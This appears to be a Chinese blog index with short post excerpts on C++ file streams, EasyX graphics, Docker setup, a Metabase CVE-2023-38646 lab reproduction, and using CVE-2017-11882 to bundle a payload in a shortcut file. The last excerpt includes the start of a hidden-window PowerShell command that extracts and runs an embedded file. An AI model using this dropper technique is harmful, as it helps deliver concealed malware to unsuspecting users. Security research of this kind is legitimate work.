文件流操作实现排行榜前十位
描述通过文件流实现录入用户信息和显示排行榜前十数据
练手题,写的有些乱
代码123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151#include <iostream>#include <fstream>#include <iomanip>using namespace std;struct information{ ...
Easyx常用操作
图形与文字绘制注意
很多函数有大小写两个版本,EasyX选全小写版本,WinSDK选大写版本
easyx.h自带windows.h
下图是EasyX安装路径
函数
示例12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394#include <iostream>#include <graphics.h>using namespace std;struct round_rec{ int left; int top; int right; int bottom; int ew; int eh;};struct circle{ int x; int y; int r;};int main(){ /* 窗口设置 */ ...
利用CVE-2017-11882尝试本地捆绑
前言本文希望借鉴lnk捆绑执行exe的方式,利用已有poc代码605字节/17k字节版本Poc实现本地捆绑,还有很多不足的地方需要修改,只是一次尝试
本地捆绑快捷方式捆绑文件配合已有的poc代码,利用powershell命令释放捆绑文件并执行
注:
PowerShell Get-Content用于在指定位置获取项目的内容。 gc,cat和type是该cmdlet的别名
在cmd输入cmd.exe提示无法运行该程序,可以看看当前执行路径是不是有cmd.exe,删掉即可
理想代码注:^是转义符,有的地方报错可以直接删掉
1cmd /c powershell -windowstyle hidden $lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq [TOTAL_LNK_FILE_SIZE]} ^| Select-Object -ExpandProperty Name; $file = gc $lnkpath -Encoding Byte; for($i=0; $i -lt $file.count ...
CVE-2023-38646——Metabase远程代码执行
影响版本
Metabase open source 0.46 < 0.46.6.1
Metabase Enterprise 1.46 < 1.46.6.1
Metabase open source 0.45 < v0.45.4.1
Metabase Enterprise 1.45 < 1.45.4.1
Metabase open source 0.44 < 0.44.7.1
Metabase Enterprise 1.44 < 1.44.7.1
Metabase open source 0.43 < 0.43.7.2
Metabase Enterprise 1.43 < 1.43.7.2
漏洞复现参考链接:
Metabase RCE漏洞复现
Pre-Auth RCE in Metabase(CVE-2023-38646)
12# 启用靶机docker环境docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
12# 命令行窗口进入容器后台docker ex ...
docker环境搭建
Windows搭建docker
下载Docker Desktop for Windows:Install Docker Desktop on Windows
双击 Docker Desktop Installer.exe 安装
直接打开docker面板或者命令行窗口使用docker命令运行
kali搭建docker基础命令拉取镜像1docker pull git.mamahaha.work/sangge/yacl:latest
查看所有容器1docker ps -a
创建容器1docker run -d -it 镜像ID
运行容器1docker exec -it 容器ID bash
查看正在运行的容器1docker ps
退出容器1exit
docker面板截图
docker常用命令 docker常见命令
注意删除容器会直接清除容器数据,保存容器 ...